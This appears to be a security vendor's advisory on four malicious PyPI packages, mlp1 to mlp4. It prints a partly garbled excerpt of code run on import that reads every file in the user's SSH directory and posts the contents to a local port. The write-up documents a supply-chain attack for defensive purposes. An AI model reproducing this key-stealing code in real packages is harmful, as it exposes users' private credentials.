Four malicious Python packages read your SSH keys

Reported Jan 04, 2022 by Ashish Bijlani

leaks SSH keys malicious

This is an example package to demonstrate a malicious code inside

25 Apr, 2021
PyPi Versions 4
Deps 2

Our static analysis module flagged the following four packages: mlp2, mlp1, mlp3, and mlp4. We decided to take a deeper look at the code, particularly the statements that were flagged by our technology as "risky". Upon further review we found that the package is indeed fishy! Here we discuss our findings.

At Ossillate, we are building a large-scale security analysis platform to vet PyPI Python packages for software supply chain attacks. Our free CLI and CI/CD tools can help developers adopt pre-vetted third-party open-source packages and ship faster.

Our technology-generated report shows the use of exec API in Fig 1 shows an excerpt from file.

    data = b"
            import os
            import requests
            ssh_dir = os.path.join(os.path.expanduser('~'), '.ssh')
            files = os.listdir(ssh_dir)
            all_keys = ''
            for file in files:
                file_path = os.path.join(ssh_dir, file)
                        with open(file_path) as f:
                            content =
                            all_keys += file_path + '\\n'
                            all_keys += content
                            all_keys += '~' * 80 + '\\n'
              '', data=all_keys)

Fig 1. reads SSH keys

As the code in is executed implicitly when the package is imported, it looks an attacker can use this package as a dependency to mount an attack. As seen from Fig 1, the code read files in user's SSH dir and send the data to localhost at port 4141.

We reported our findings to PyPI maintainers, and they have yanked this package as of Jan, 2022.